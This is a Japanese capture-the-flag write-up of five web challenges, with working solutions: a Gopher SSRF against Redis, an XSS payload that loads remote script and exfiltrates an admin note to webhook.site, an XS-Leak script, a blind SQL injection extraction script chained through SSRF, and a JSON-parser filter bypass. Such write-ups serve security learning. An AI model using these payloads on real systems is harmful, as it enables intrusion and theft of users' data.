8/13 - 8/15という日程で開催された。zer0ptsで参加して6位。
- [Web 100] Raas (? solves)
- [Web 823] Notepad 1 - Snakehole's Secret (? solves)
- [Web 900] Notepad 1.5 - Arthur's Article (? solves)
- [Web 700] Vuln Drive (? solves)
- [Web 804] Json Analyser (? solves)
[Web 100] Raas (? solves)
URLを入力するとそのコンテンツを表示してくれるWebサービス。file:///code/app.py
でソースコードが得られる。
Redisサーバから (Cookieに入っているユーザID)_isAdmin
というキーに格納された値を取ってきて、それが yes
であればフラグが得られるらしい。
from flask import Flask, request,render_template,request,make_response import redis import time import os from utils.random import Upper_Lower_string from main import Requests_On_Steroids app = Flask(__name__) # Make a connection of the queue and redis r = redis.Redis(host='redis', port=6379) #r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"}) #print(r.get("Bahamas")) @app.route("/",methods=['GET','POST']) def index(): if request.method == 'POST': url = str(request.form.get('url')) resp = Requests_On_Steroids(url) return resp else: resp = make_response(render_template('index.html')) if not request.cookies.get('userID'): user=Upper_Lower_string(32) r.mset({str(user+"_isAdmin"):"false"}) resp.set_cookie('userID', user) else: user=request.cookies.get('userID') flag=r.get(str(user+"_isAdmin")) if flag == b"yes": resp.set_cookie('flag',str(os.environ['FLAG'])) else: resp.set_cookie('flag', "NAAAN") return resp if __name__ == "__main__": app.run('0.0.0.0')
file:///code/main.py
で Requests_On_Steroids
の実装が見られる。RedisサーバにSSRFしてくれと言わんばかりに、inctf:
でGopherプロトコルが使えるようになっている。
import requests, re, io, socket from urllib.parse import urlparse, unquote_plus import os from modules.Gophers import GopherAdapter from modules.files import LocalFileAdapter def Requests_On_Steroids(url): try: s = requests.Session() s.mount("inctf:", GopherAdapter()) s.mount('file://', LocalFileAdapter()) resp = s.get(url) assert resp.status_code == 200 return(resp.text) except: return "SOME ISSUE OCCURED" #resp = s.get("butts://127.0.0.1:6379/_get dees")
inctf://redis:6379/_set%20kiriyaaoi_isAdmin%20yes
というURLの巡回をさせ、CookieのユーザIDに kiriyaaoi
を入れるとフラグが得られた。
inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}
[Web 823] Notepad 1 - Snakehole's Secret (? solves)
/find
では、以下のコードからわかるようになにかひとつ好きなHTTPレスポンスヘッダをGETパラメータから挿入できる。Set-Cookie
を使えばCookieの設定もできる。
} else { _, present := param["debug"] if present { delete(param, "debug") delete(param, "startsWith") delete(param, "endsWith") delete(param, "condition") for k, v := range param { for _, d := range v { if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 { w.Header().Set(k, d) } break } break } } responseee = "404 No Note Found" }
これを利用して、まずadminに /find?condition=hoge&debug=nyan&set-cookie=id=(XSSのペイロードをノートに仕込んだID)%3bpath=/get
にアクセスさせ、/get
がXSSのペイロード(<img src=x onerror="import('//example.com:8000/a.php')">
)を返すようにする。これで /
にアクセスするとXSSが発生し、//example.com:8000/a.php
のJSコードが実行される。a.php
は以下のような感じ。
<?php header("Access-Control-Allow-Origin: *"); header("Content-Type: application/javascript"); ?> document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get'; fetch('/get').then(r => r.text()).then(r => { navigator.sendBeacon('https://webhook.site/…', r) })
document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get'
によって今設定した /get
限定で有効だったCookieを削除し、それ以降のHTTPリクエストでは元のadminのCookieが送信されるようになる。したがって、この状態で /get
を fetch
するとフラグが書かれたadminのノートが得られる。
この手順を実行するには /find?…
から /
に遷移させる必要があるが、X-Frame-Options
は DENY
であるため iframe
が使えない。そのため、以下のように window.open
を使う。
<body> <script> id = '8666683506aacd900bbd5a74ac4edf68'; w = window.open(`http://chall.notepad1.gq:1111/find?condition=hoge&debug=nyan&set-cookie=id=${id}%3bpath=/get`); setTimeout(() => { w.location.href = 'http://chall.notepad1.gq:1111/'; }, 2000); </script> </body>
inctf{youll_never_take_me_alive_ialmvwoawpwe}
[Web 900] Notepad 1.5 - Arthur's Article (? solves)
以下のように、HTTPレスポンスヘッダの値を ^[a-zA-Z0-9{}_;-]*$
にマッチしているかチェックされるよう変更が加えられた。
@@ -132,11 +135,11 @@ delete(param, "endsWith") delete(param, "condition") - for k, v := range param { - for _, d := range v { + for v, d := range param { + for _, k := range d { - if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 { - w.Header().Set(k, d) + if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 { + w.Header().Set(v, k) } break }
find
は以下のように特定の文字列がノートの中に含まれているかどうかを確認できるAPIである。 condition
というGETパラメータを操作することで特定の文字列から始まるか、あるいは特定の文字列から終わるか、特定の文字列から始まり特定の文字列で終わるかといった条件を切り替えることができる。指定した条件に当てはまらなかった場合に実行されるのが、先ほどのHTTPレスポンスヘッダにGETパラメータの値を挿入する処理である。
つまり、特定の文字列がノートに含まれていればあるHTTPレスポンスヘッダが付与されず、含まれていなければ付与されるというようなことができる。
func find(w http.ResponseWriter, r *http.Request) { id := getIDFromCooke(r, w) param := r.URL.Query() x := Notes[id] var which string str, err := param["condition"] if !err { which = "any" } else { which = str[0] } var start bool str, err = param["startsWith"] if !err { start = strings.HasPrefix(x, "arthur") } else { start = strings.HasPrefix(x, str[0]) } var responseee string var end bool str, err = param["endsWith"] if !err { end = strings.HasSuffix(x, "morgan") } else { end = strings.HasSuffix(x, str[0]) } if which == "starts" && start { responseee = x } else if which == "ends" && end { responseee = x } else if which == "both" && (start && end) { responseee = x } else if which == "any" && (start || end) { responseee = x } else { _, present := param["debug"] if present { delete(param, "debug") delete(param, "startsWith") delete(param, "endsWith") delete(param, "condition") for v, d := range param { for _, k := range d { if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 { w.Header().Set(v, k) } break } break } } responseee = "404 No Note Found" } headerSetter(w, cType) fmt.Fprintf(w, responseee) }
X-Frame-Options
が DENY
であるという制限下でなんとかしてこれをXS-Leakに使えないか悩んでいたが、s1r1usさんがContent-Disposition
ヘッダがXS-Leakに使えることを教えてくれた。あとは実装するだけ。
<body> <script> async function test(s) { return new Promise((resolve) => { const url = `http://chall.notepad15.gq:1515/find?startsWith=${s}&debug=h&Content-Disposition=attachment`; const win = window.open(url); setTimeout(() => { try { win.location.href; resolve(false); } catch (e) { resolve(true); } }, 500); }); } function report(s, t) { navigator.sendBeacon(`log.php?${s}:${t}`); } (async () => { const known = 'inctf{r' for (c of '{}_abcdefghijklmnopqrstuvwxyz0123456789') { report(c, await test(known + c)); } })() </script> </body>
inctf{red_dead_rezoday_ialmvwoawpwe}
次の2問は、競技時間中に解ききれなかったものの結構いいところまでいってた(はず)ので悔しかったやつ。
[Web 700] Vuln Drive (? solves)
ファイルのアップローダー。/return-files
というファイルをダウンロードできるAPIにパストラバーサルがあり、/return-files?f=/app/app.py
でソースコードがダウンロードできる。
ソースコードを読むと /dev_test
という謎のAPIが見つかる。URLを投げると requests
でそのコンテンツを取ってきてくれるが、url_validate
という関数でHTTPリクエストを送る前にURLがチェックされている。127.0.0.1
や 0.0.0.0
へのアクセスを防ぎたいようだ。
よく見るとURLのチェック後に url = unquote(url)
となぜかURLデコードしてしまっている。これを使って http://localhost%2f%23def@example.com
で http://localhost
のコンテンツが取得できる。
def url_validate(url): blacklist = ["::1", "::"] for i in blacklist: if(i in url): return "NO hacking this time ({- _ -})" y = urlparse(url) hostname = y.hostname try: ip = socket.gethostbyname(hostname) except: ip = "" print(url, hostname,ip) ips = ip.split('.') if ips[0] in ['127', '0']: return "NO hacking this time ({- _ -})" else: try: url = unquote(url) r = requests.get(url,allow_redirects = False) return r.text except: print(url, hostname) return "cannot get you url :)" # … @app.route("/dev_test",methods =["GET", "POST"]) def dev_test(): if auth(): return redirect('/logout') if request.method=="POST" and request.form.get("url")!="": url=request.form.get("url") return url_validate(url) return render_template("dev.html")
http://localhost
は以下のようなコンテンツを返した。part1
と part2
というGETパラメータに特定の文字が含まれているかどうかチェックした後にSQL文に挿入し、MySQLにクエリを投げているようだ。
part1
についてはまた文字のチェックの後に urldecode
でURLデコードしてしまっているため、'
をURLエンコードすることでフィルターをバイパスしてSQLインジェクションでき、次の part2
が挿入されるSQL文を実行させることができる。
<?php include('./conf.php'); $inp=$_GET['part1']; $real_inp=$_GET['part2']; if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->"); if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me"); $inp=urldecode($inp); //$query1=select name,path from adminfo; $query2="SELECT * FROM accounts where id=1 and password='".$inp."'"; $query3="SELECT ".$real_inp.",name FROM accounts where name='tester'"; $check=mysqli_query($con,$query2); if(!$_GET['part1'] && !$_GET['part2']) { highlight_file(__file__); die(); } if($check || !(strlen($_GET['part2'])<124)) { echo $query2."<br>"; echo "Not this way<br>"; } else { $result=mysqli_query($con,$query3); $row=mysqli_fetch_assoc($result); if($row['name']==="tester") echo "Success"; else echo "Not"; //$err=mysqli_error($con); //echo $err; } ?>
part2
は使われている文字をチェックした後にURLデコードされていないため、今度は真面目に (
)
*
\
/
'
;
"
-
#
を使わずにSQLインジェクションする必要がある。
コメントアウトされている $query1=select name,path from adminfo;
から、この adminfo
というテーブルから情報を抜き出せばよいとわかる。返ってきた最初のレコードの name
カラムの値が tester
であれば Success
と表示され、そうでなければ Not
と表示されることを利用すればBlind SQLiの要領で adminfo
のデータを抜き出せる。
import binascii import uuid import re import requests from urllib.parse import quote URL = 'http://web.challenge.bi0s.in:6007/' s = requests.Session() def login(): s.post(URL + 'login', data={ 'username': str(uuid.uuid4()), 'password': str(uuid.uuid4()), 'submit': 'Login' }) s.get(URL) def query(payload): while True: r = s.post(URL + 'dev_test', data={ 'url': 'http://localhost%2f%3fpart1=' + quote(quote(quote("'"))) + '%26part2=' + quote(payload) + '%23def@example.com' }) if 'Success' in r.text or 'Not' in r.text: break login() return 'Success' in r.text login() table = list(b'/0123456789abcdefg') known = '' while True: for i, c in enumerate(table): tmp = known + chr(c) tmp = binascii.hexlify(tmp.encode()).decode() r = query(f"0x746573746572,1 from adminfo where path < 0x4e6f74 and path > binary 0x{tmp} union select 1") if not r: known += chr(table[i - 1]) break else: print('?') print(known)
競技時間中はこのスクリプトで path
を抜き出すところまでできた。
このカラムには /504acbe45cad25
のようなパスが入っているのだが、/return-files
でそのパスのファイルを取得しようとしてもファイルが見つからないと表示されて困っていた。
上のスクリプトでは http://web.challenge.bi0s.in:6007
からパスを抜き出しているが、競技時間中の私はどういうわけかバックアップの問題サーバである http://web.challenge.bi0s.in:6006
の /return-files
で抜き出したパスからファイルを抜き出そうとしており、サーバによってこのパスが異なるためにフラグが得られなかった。つらい。
[Web 804] Json Analyser (? solves)
まず次のAPIで有効なサブスクリプションコードを得る必要がある。role
というGETパラメータが {"name":"user","role":"(role)"}
というテンプレートに展開されてJSONとしてパースされるが、その user
が admin
、role
が superuser
でなければならない。
JSONのパースに使われているujson
は、重複したキーが出現した場合に後から出現した方をそのキーの値として採用する。superuser","name":"admin"
というような role
を入力すればよいのではないかと思ってしまうが、superuser
が role
に含まれていれば削除されるし、role
は30文字を超えてはいけないし、パース前の文字列に "role":"superuser"
という文字列が含まれてはいけないので通らない。
ではどうするかというと、\uXXXX
という記法を使えばよい。/verify_roles?role=/u0073uperuser%22,%22name%22:%22admin
で 673307-0496-1001122
というサブスクリプションコードが得られた。
import ujson # … @app.route('/verify_roles',methods=['GET','POST']) def verify_roles(): no_hecking=None role=request.args.get('role') if "superuser" in role: role=role.replace("superuser",'') if " " in role: return "n0 H3ck1ng" if len(role)>30: return "invalid role" data='"name":"user","role":"{0}"'.format(role) no_hecking=re.search(r'"role":"(.*?)"',data).group(1) if(no_hecking)==None: return "bad data :(" if no_hecking == "superuser": return "n0 H3ck1ng" data='{'+data+'}' try: user_data=ujson.loads(data) except: return "bad format" role=user_data['role'] user=user_data['name'] if (user == "admin" and role == "superuser"): return os.getenv('subscription_code') else: return "no subscription for you"
このサブスクリプションコードを使えば、以下のように package.json
をアップロードすると config-handler
という謎ライブラリを使ってその内容を表示してくれる。
app.post('/upload', function(req, res) { let uploadFile; let uploadPath; if(req.body.pin !== "[REDACTED]"){ return res.send('bad pin') } if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send('No files were uploaded.'); } uploadFile = req.files.uploadFile; uploadPath = __dirname + '/package.json' ; uploadFile.mv(uploadPath, function(err) { if (err) return res.status(500).send(err); try{ var config = require('config-handler')(); } catch(e){ const src = "package1.json"; const dest = "package.json"; fs.copyFile(src, dest, (error) => { if (error) { console.error(error); return; } console.log("Copied Successfully!"); }); return res.sendFile(__dirname+'/static/error.html') } var output='\n'; if(config['name']){ output=output+'Package name is:'+config['name']+'\n\n'; } if(config['version']){ output=output+ "version is :"+ config['version']+'\n\n' } if(config['author']){ output=output+"Author of package:"+config['author']+'\n\n' } if(config['license']){ var link='' if(config['license']==='ISC'){ link='https://opensource.org/licenses/ISC'+'\n\n' } if(config['license']==='MIT'){ link='https://www.opensource.org/licenses/mit-license.php'+'\n\n' } if(config['license']==='Apache-2.0'){ link='https://opensource.org/licenses/apache2.0.php'+'\n\n' } if(link==''){ var link='https://opensource.org/licenses/'+'\n\n' } output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link; } if(config['dependencies']){ output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+' '+JSON.stringify(config['dependencies'])+'\n' } const src = "package1.json"; const dest = "package.json"; fs.copyFile(src, dest, (error) => { if (error) { console.error(error); return; } }); res.render('index.squirrelly', {'output':output}) }); });
ここでPrototype Pollutionができる。
Prototype PollutionからRCEに持ち込めるのではないかと考えてs1r1usさんとSquirrellyのscript gadgetを探していたが、結局見つけられなかった。実は既知のネタだったらしいし、終了後にTea DeliverersのZeddyさんにも聞いたところやはりこのgadgetを使ったらしかった。